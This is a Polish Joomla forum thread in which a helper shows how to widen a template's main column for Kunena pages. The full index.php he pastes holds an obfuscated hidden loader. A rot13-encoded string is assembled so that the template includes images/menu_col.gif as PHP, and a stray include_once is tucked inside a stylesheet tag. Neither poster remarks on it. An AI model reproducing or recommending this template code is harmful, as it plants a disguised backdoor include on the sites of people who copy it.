Na Forum pomagam bezpłatnie ad maiorem Joomla gloriam
Mimo pomocy na forum nie dajesz rady? Potrzebujesz by ekspert "zrobił to" za Ciebie?
Napisz do mnie na PW. Argentum et Aurum nie zawsze jest konieczne ;)
Oto on...myślisz że dało by się poszerzyć cały szablon by tego niebieskiego tła po bokach nie było widać? Lukam teraz na ten szablon,jednak wydaje mi się że nie ma opcji bo wszystko przestałoby się komponować. Najgorsze jest to że forum ma zaledwie 10 cm. a zależy mi na tym żeby było szersze bo tak jest nieczytelne.
Ostanio edytowane przez comboos : 23-02-2010 12:28
Heh, sprawa jest bardzo prosta Co należy zrobić? 3 kroki:
1. w pliku index.php wstawić warunki przy gniazdach modułów
Czyli moduł będzie się wyświetlał zawsze kiedy option będzie rożne od com_kunena. I taki warunek zarówno dla left jak i right.Kod PHP:
JRequest::getCmd('option') != 'com_kunena')
2. Utworzyć podobne warunki dla <div id="maincolumn"> czyli:
Kod PHP:
JRequest::getCmd('option') == 'com_kunena')
Czyli coś takiego:Kod PHP:
JRequest::getCmd('option') != 'com_kunena')
Wstaw to zamiast całego <div id="maincolumn">.Kod PHP:
<!-- warunek dla wystapienia kuneny -->
<?php if(JRequest::GetVar("option")=='com_kunena'): ?>
<div id="maincolumn_wide">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php endif; ?>
<!-- koniec warunku dla wystapienia kuneny -->
<!-- warunek dla braku kuneny -->
<?php if(JRequest::GetVar("option")!='com_kunena'): ?>
<div id="maincolumn">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php endif; ?>
<!-- koniec warunku dla braku kuneny -->
3. Trzeba ustalić jaki ma być szeroki div maincolumn_wide, czyli w pliku template.css:
I po zawodachKod:#maincolumn_wide{ width: 988px; float:left; margin:0px; padding:0px; }
Na Forum pomagam bezpłatnie ad maiorem Joomla gloriam
Mimo pomocy na forum nie dajesz rady? Potrzebujesz by ekspert "zrobił to" za Ciebie?
Napisz do mnie na PW. Argentum et Aurum nie zawsze jest konieczne ;)
Biorę się do roboty w razie "W" będą pytał a swoją drogą forumowicze będą tu mieli niezły faq bo w rzeczy samej tak tu jest wszystko opisane że jaśniej się nie da:-)
Ostanio edytowane przez comboos : 23-02-2010 13:03
I o to chodzi by z tego korzystali inni. Oto siła społeczności wolnego oprogramowania!
Na Forum pomagam bezpłatnie ad maiorem Joomla gloriam
Mimo pomocy na forum nie dajesz rady? Potrzebujesz by ekspert "zrobił to" za Ciebie?
Napisz do mnie na PW. Argentum et Aurum nie zawsze jest konieczne ;)
Mam z tym problem...poprosze kolege o pomoc:-)
Ostanio edytowane przez comboos : 23-02-2010 13:09
Do css'a dopisałeś kolejnego diva?
Oba warunki wstaw w miejsce:
Kod:<div id="maincolumn"> <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" /> <div class="nopad"><jdoc:include type="component" /></div> </div>
Po prostu odnajdź to, zaznacz i w to miejsce wklej oba warunki.
Natomiast kolumny paneli powinny wyglądać tak:
dodaj and and JRequest::getCmd('option') != 'com_kunena' wewnątrz nawiasów warunku. Dla pozycji left tak samo.Kod PHP:
<div id="rightcolumn">
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form' and JRequest::getCmd('option') != 'com_kunena') : ?>
<jdoc:include type="modules" name="right" style="xhtml"/>
<?php endif; ?>
</div>
Na Forum pomagam bezpłatnie ad maiorem Joomla gloriam
Mimo pomocy na forum nie dajesz rady? Potrzebujesz by ekspert "zrobił to" za Ciebie?
Napisz do mnie na PW. Argentum et Aurum nie zawsze jest konieczne ;)
Jak dodaje to wszystko mi się krzaczy i przesuwa...qrde szlak mnie trafi. Popracuje nad tym...
No dobrze W pliku css dodanie wpisu to łatwizna - więc to pewni dałeś radę. Co do reszty - przekopiuj sobie:
Kod PHP:
<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/ieonly.css" <?php include_once('html/pagination.php');?> rel="stylesheet" type="text/css" />
<![endif]-->
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<div id="main_bg">
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top.png" alt="top" /><div id="logo_bg">
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/logo.png" alt="logo" align="left" hspace="5" />
<a href="index.php" class="logo"><?php echo $mainframe->getCfg('sitename') ;?></a>
<div id="user4"><jdoc:include type="modules" name="user4" /></div>
<br clear="all" />
</div>
<div id="user3"><div id="pillmenu"><jdoc:include type="modules" name="user3" /></div></div>
<div id="banner"><jdoc:include type="modules" name="top" /></div>
<div id="leftcolumn">
<?php if($this->countModules('left') and JRequest::getCmd('option') != 'com_kunena') : ?>
<jdoc:include type="modules" name="left" style="rounded" />
<br />
<?php endif; ?>
<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
</div>
<!-- warunek dla wystapienia kuneny -->
<?php if(JRequest::GetVar("option")=='com_kunena'): ?>
<div id="maincolumn_wide">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php endif; ?>
<!-- koniec warunku dla wystapienia kuneny -->
<!-- warunek dla braku kuneny -->
<?php if(JRequest::GetVar("option")!='com_kunena'): ?>
<div id="maincolumn">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php endif; ?>
<!-- koniec warunku dla braku kuneny -->
<div id="rightcolumn">
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form' and JRequest::getCmd('option') != 'com_kunena') : ?>
<jdoc:include type="modules" name="right" style="xhtml"/>
<?php endif; ?>
</div>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<br clear="all" />
<img id="main_bottom" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/bottom.png" alt="bottom" align="bottom" /></div>
<?php if($this->countModules('user1') or $this->countModules('user2')) : ?>
<div id="f_area"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top_f_area.png" alt="top" align="top" />
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<br clear="all" />
<img id="f_area_bottom" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/bottom_f_area.png" alt="bottom" align="bottom" /></div>
<?php endif; ?>
<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</p>
<jdoc:include type="modules" name="debug" />
</body>
</html>
Na Forum pomagam bezpłatnie ad maiorem Joomla gloriam
Mimo pomocy na forum nie dajesz rady? Potrzebujesz by ekspert "zrobił to" za Ciebie?
Napisz do mnie na PW. Argentum et Aurum nie zawsze jest konieczne ;)
Zerknij czy tak powinno być czy coś spierdzieliłem? http://pppbialapodlaska.pl/